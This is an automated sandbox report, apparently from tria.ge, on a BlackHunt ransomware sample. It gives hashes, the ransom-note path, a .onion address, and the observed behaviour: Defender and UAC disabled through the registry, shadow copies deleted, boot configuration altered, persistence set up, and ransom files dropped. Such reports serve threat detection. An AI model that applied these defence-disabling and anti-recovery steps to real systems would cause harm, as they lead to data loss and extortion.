Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
151s -
max time network
171s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:51
Static task
static1
Behavioral task
behavioral1
Sample
7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Resource
win10v2004-20231215-en
General
-
Target
7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
-
Size
707KB
-
MD5
d215e3702125c47834e2d3f4f61bf5e4
-
SHA1
a1f269fb1aca70ad28fa02f17ce63a303e03a8f4
-
SHA256
7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec
-
SHA512
ac7475cb2fbeaa9dc4a2a8c6e378da72e6dd78b4538adbed6f888ddb954f6bccd41f8150293bc77d7088140b501f34cec9863c58d6e1f6efcd73ccab9ba95407
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1I82vnh:6uaTmkZJ+naie5OTamgEoKxLWjIh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3912 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 4012 bcdedit.exe 4984 bcdedit.exe -
Renames multiple (592) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 5160 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\N: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\M: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\W: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\O: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\K: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\Q: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\R: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\L: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\I: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\Z: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\X: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\E: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\Y: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\A: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\S: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\J: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\V: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\U: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\P: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\G: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\T: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\H: 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened (read-only) \??\F: vssadmin.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\locale\nn\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\tools.jar 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\lcms.md 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\charsets.jar 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\ct.sym 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\sunec.jar 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\jcup.md 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\jce.jar 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\7-Zip\Lang\ms.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\currency.data 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jre-1.8\lib\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\cryptix.md 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\fonts\LucidaSansDemiBold.ttf 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\7-Zip\Lang\fi.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jcup.md 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\jfr\profile.jfc 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\7-Zip\Lang\ug.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jmc.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\xalan.md 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Google\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\ReadUpdate.dot 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_ReadMe.hta 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\7-Zip\Lang\az.txt 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_Private.key 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1488 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3692 vssadmin.exe 4036 vssadmin.exe 4476 vssadmin.exe 4796 vssadmin.exe 3864 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Token: SeRestorePrivilege 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Token: SeBackupPrivilege 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Token: SeTakeOwnershipPrivilege 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Token: SeAuditPrivilege 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Token: SeSecurityPrivilege 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Token: SeIncBasePriorityPrivilege 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Token: SeBackupPrivilege 3732 vssvc.exe Token: SeRestorePrivilege 3732 vssvc.exe Token: SeAuditPrivilege 3732 vssvc.exe Token: SeBackupPrivilege 6696 wbengine.exe Token: SeRestorePrivilege 6696 wbengine.exe Token: SeSecurityPrivilege 6696 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 472 wrote to memory of 4164 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 91 PID 472 wrote to memory of 4164 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 91 PID 472 wrote to memory of 1768 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 93 PID 472 wrote to memory of 1768 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 93 PID 472 wrote to memory of 2640 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 95 PID 472 wrote to memory of 2640 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 95 PID 472 wrote to memory of 2368 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 97 PID 472 wrote to memory of 2368 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 97 PID 4164 wrote to memory of 4592 4164 cmd.exe 98 PID 4164 wrote to memory of 4592 4164 cmd.exe 98 PID 1768 wrote to memory of 1816 1768 cmd.exe 100 PID 1768 wrote to memory of 1816 1768 cmd.exe 100 PID 472 wrote to memory of 4028 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 103 PID 472 wrote to memory of 4028 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 103 PID 2640 wrote to memory of 3820 2640 cmd.exe 101 PID 2640 wrote to memory of 3820 2640 cmd.exe 101 PID 2368 wrote to memory of 3084 2368 cmd.exe 104 PID 2368 wrote to memory of 3084 2368 cmd.exe 104 PID 4028 wrote to memory of 3680 4028 cmd.exe 105 PID 4028 wrote to memory of 3680 4028 cmd.exe 105 PID 472 wrote to memory of 2520 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 107 PID 472 wrote to memory of 2520 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 107 PID 472 wrote to memory of 1512 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 109 PID 472 wrote to memory of 1512 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 109 PID 472 wrote to memory of 2832 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 111 PID 472 wrote to memory of 2832 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 111 PID 472 wrote to memory of 2480 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 115 PID 472 wrote to memory of 2480 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 115 PID 1512 wrote to memory of 944 1512 cmd.exe 113 PID 1512 wrote to memory of 944 1512 cmd.exe 113 PID 2520 wrote to memory of 1660 2520 cmd.exe 116 PID 2520 wrote to memory of 1660 2520 cmd.exe 116 PID 472 wrote to memory of 4796 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 117 PID 472 wrote to memory of 4796 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 117 PID 472 wrote to memory of 1536 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 119 PID 472 wrote to memory of 1536 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 119 PID 472 wrote to memory of 1880 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 120 PID 472 wrote to memory of 1880 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 120 PID 2832 wrote to memory of 4960 2832 cmd.exe 123 PID 2832 wrote to memory of 4960 2832 cmd.exe 123 PID 472 wrote to memory of 1472 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 124 PID 472 wrote to memory of 1472 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 124 PID 472 wrote to memory of 3692 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 125 PID 472 wrote to memory of 3692 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 125 PID 2480 wrote to memory of 840 2480 cmd.exe 128 PID 2480 wrote to memory of 840 2480 cmd.exe 128 PID 472 wrote to memory of 652 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 130 PID 472 wrote to memory of 652 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 130 PID 4796 wrote to memory of 4364 4796 cmd.exe 129 PID 4796 wrote to memory of 4364 4796 cmd.exe 129 PID 1880 wrote to memory of 3344 1880 cmd.exe 132 PID 1880 wrote to memory of 3344 1880 cmd.exe 132 PID 1536 wrote to memory of 4296 1536 cmd.exe 133 PID 1536 wrote to memory of 4296 1536 cmd.exe 133 PID 472 wrote to memory of 3068 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 134 PID 472 wrote to memory of 3068 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 134 PID 1472 wrote to memory of 1008 1472 cmd.exe 136 PID 1472 wrote to memory of 1008 1472 cmd.exe 136 PID 3692 wrote to memory of 1504 3692 cmd.exe 137 PID 3692 wrote to memory of 1504 3692 cmd.exe 137 PID 472 wrote to memory of 4448 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 138 PID 472 wrote to memory of 4448 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 138 PID 472 wrote to memory of 4780 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 141 PID 472 wrote to memory of 4780 472 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe 141 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe"C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:472 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4592
-
-
-
